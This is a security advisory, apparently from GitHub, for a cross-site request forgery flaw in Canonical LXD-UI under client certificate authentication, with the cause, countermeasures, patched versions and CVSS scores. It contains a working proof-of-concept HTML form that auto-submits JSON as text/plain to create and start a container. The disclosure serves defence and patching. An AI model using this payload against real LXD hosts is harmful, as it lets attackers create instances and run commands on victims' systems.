Canonical LXD CSRF Vulnerability When Using Client Certificate Authentication with the LXD-UI

Description

Description

OIDC authentication uses cookies with the SameSite=Strict attribute, preventing cookies from being sent with requests from other sites. Therefore, CSRF does not occur as long as web services in a Same Site relationship (same eTLD+1) with the origin running LXD-UI are trusted.

However, since the SameSite concept does not apply to client certificates, CSRF protection that doesn't rely on the SameSite attribute is necessary.

Note that when using cross-origin fetch API, client certificates are not sent in no-cors mode due to CORS restrictions (according to the WHATWG Fetch specification(https://fetch.spec.whatwg.org/#credentials), client certificates are treated as credentials), making cross-site attacks using fetch API difficult unless CORS settings are vulnerable. However, since LXD's API parses request bodies as JSON even when Content-Type is text/plain or application/x-www-form-urlencoded, CSRF attacks exploiting HTML form submissions are possible.

Reproduction Steps

  1. Prepare a malicious website controlled by the attacker
  2. Deploy the following HTML form to implement an attack that automatically creates instances when victims visit:

This exploit code automatically sends a JSON string as text/plain to create an instance when rendered.

Note that for this PoC to work, the specified profile (default) must have a Default instance storage pool configured.
This is typically set in the default profile of projects created after storage pool creation.

<html>
<body>
<form enctype="text/plain" method="POST" action="https://lxd-host:8443/1.0/instances?project=default&target=" id="form">
<input type="hidden" name='{"' id="input">
<input type="submit">
</form>
<script>
const i = document.getElementById('input');
i.value = `":123,"name":"poc","type":"container","profiles":["default"], "source":{"alias":"24.04","mode":"pull","protocol":"simplestreams","server":"https://cloud-images.ubuntu.com/releases","type":"image"},"devices":{},"config":{},"start":true}`;
document.getElementById('form').submit();
</script>
</body>
</html>
  1. Log in to LXD-UI with a user having permissions to create instances in the project (default) specified in step 2
  2. Access the URL of the HTML file prepared in step 2 and confirm that an instance is created and started

Risk

The attack conditions require that the victim is already connected to LXD using client certificate authentication and that the attacker can lead the victim to a controlled website.

Possible actions through the attack include, depending on the victim's permissions, creating and starting arbitrary instances, and executing arbitrary commands inside containers using cloud-init.

Countermeasures

The most effective countermeasure is to strictly enforce Content-Type validation at API endpoints.
Specifically, change the implementation to reject requests when Content-Type is not application/json. With this countermeasure, attackers cannot send proper JSON requests using Simple Requests (HTML form submissions) and must use fetch API with CORS. However, as long as proper CORS settings are implemented, client certificates are not sent with cross-origin fetch API requests, preventing the attack.

Additionally, implementing CSRF tokens or validating Origin/Referer headers could be considered as countermeasures, but these would create compatibility issues with the LXD command, which is another API client.

Patches

LXD Series Status
6 Fixed in LXD 6.5
5.21 Fixed in LXD 5.21.4
5.0 Fixed in LXD 5.0.5
4.0 Ignored - No web UI

References

Reported by GMO Flatt Security Inc.

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2025-10-02 21:23:44 UTC
Updated
2025-11-05 22:05:17 UTC
GitHub reviewed
2025-10-02 21:23:44 UTC
NVD published
2025-10-02

EPSS Score

Score Percentile
0.02% 6.09%

CVSS Scores

Base score Version Severity Vector
8.4 3.1
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:H)
Even with access, the exploit needs extra luck, timing, or a fussy environment to actually work.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:R)
A real person has to do something—click, install, enable—otherwise it doesn’t land.
Scope (S:C)
Breaking this can reach past the original component and bite other resources—bigger blast radius.
Confidentiality (C:H)
Serious risk that confidential data gets exposed in a big way.
Integrity (I:H)
They could widely tamper with or forge data—trust in the data is badly hurt.
Availability (A:H)
Could take the service down hard or make it unusable for people who depend on it.
7.5 4.0
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network.
Attack complexity (AC:H)
Exploitation depends on constrained or hard-to-reproduce conditions.
Attack requirements (AT:P)
Additional preconditions must be present for exploitation.
Privileges required (PR:N)
No privileges are required.
User interaction (UI:A)
User interaction is required in an active way.
Vulnerable system confidentiality impact (VC:H)
High confidentiality impact on the vulnerable system.
Vulnerable system integrity impact (VI:H)
High integrity impact on the vulnerable system.
Vulnerable system availability impact (VA:H)
High availability impact on the vulnerable system.
Subsequent system confidentiality impact (SC:L)
Limited confidentiality impact on subsequent systems.
Subsequent system integrity impact (SI:L)
Limited integrity impact on subsequent systems.
Subsequent system availability impact (SA:L)
Limited availability impact on subsequent systems.

Identifiers

CWEs

CWE id Name
CWE-352 Cross-Site Request Forgery (CSRF)

Affected packages (4)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
go github.com/canonical/lxd >= 5.0, < 5.0.5 5.0.5
go github.com/canonical/lxd >= 5.1, < 5.21.4 5.21.4
go github.com/canonical/lxd >= 6.0, < 6.5 6.5
go github.com/canonical/lxd >= 0.0.0-20220401034332-1e1349e3cbf3, < 0.0.0-20250827065555-0494f5d47e41 0.0.0-20250827065555-0494f5d47e41

References

cvelogic Threat Intelligence